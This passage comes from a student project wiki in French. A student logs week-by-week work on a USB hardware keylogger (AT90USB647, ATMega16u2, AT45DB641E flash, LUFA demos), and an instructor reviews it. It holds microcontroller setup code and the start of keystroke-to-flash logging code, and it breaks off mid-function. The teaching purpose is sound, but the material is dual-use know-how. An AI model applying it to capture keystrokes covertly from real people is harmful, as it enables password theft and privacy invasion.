La LED 15 s'allume à chaque fois qu'un octet est transmis de la part de l'AT90, et la LED 14 s'allume à chaque fois qu'on envoie un octet de commande vers l'AT90 pour contrôler la flash AT45DB641E.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Du côté de l'AT90USB647 : &lt;br /&gt;
&lt;br /&gt;
Au démarrage les deux leds LED 18 puis LED 19 s'allume pour informer les étapes d'initialisation de l'AT90, puis la LED 19 est la seule à rester allumé à la fin afin d'informer que la fonctionnalité USB est prête. On peut donc brancher un clavier dessus.&lt;br /&gt;
&lt;br /&gt;
Dès qu'on a connecter un périphérique via le port USB, la LED 19 s'éteint et agît pour signaler lorsqu'une touche modificatrice (Shift, Control, Alt, etc...) est appuyé, et la LED 18 s'allume pour indiquer que l'AT90 est prêt à recevoir des rapports du clavier branché.&lt;br /&gt;
&lt;br /&gt;
Dès la première touche tapé, la LED 18 n'agît désormais que pour indiquer lorsqu'une touche est tapé.&lt;br /&gt;
&lt;br /&gt;
==== Potentiels problèmes ====&lt;br /&gt;
Il se peut qu'il y ait un problème lorsqu'on test les programmes. On aperçoit des caractères écrits sans qu'on le veuille.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Personnellement, je réinitialise d'abord l'AT90USB647 via le bouton S12, puis ensuite l'ATMega via le bouton S13. Puis normalement, tout fonctionne !&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe &amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références code&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:2023_EC5_Keylogger.zip&amp;diff=858</id>
		<title>Fichier:2023 EC5 Keylogger.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:2023_EC5_Keylogger.zip&amp;diff=858"/>
		<updated>2023-08-15T15:36:42Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Bnguyen1 a téléversé une nouvelle version de Fichier:Keylogger.zip&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Description ==&lt;br /&gt;
Programmes Keylogger pour l'AT90USB647 et l'ATMEGA16U2&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=857</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=857"/>
		<updated>2023-08-15T15:35:02Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Documents Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Mémoire ====&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).&lt;br /&gt;
&lt;br /&gt;
==== Gestion clavier USB ====&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot;&amp;gt;Configuration de l'horloge&amp;lt;/ref&amp;gt;. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.&lt;br /&gt;
&lt;br /&gt;
==== Keylogger ====&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.&lt;br /&gt;
&lt;br /&gt;
ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
        Flash_Task(&amp;amp;page_start, &amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
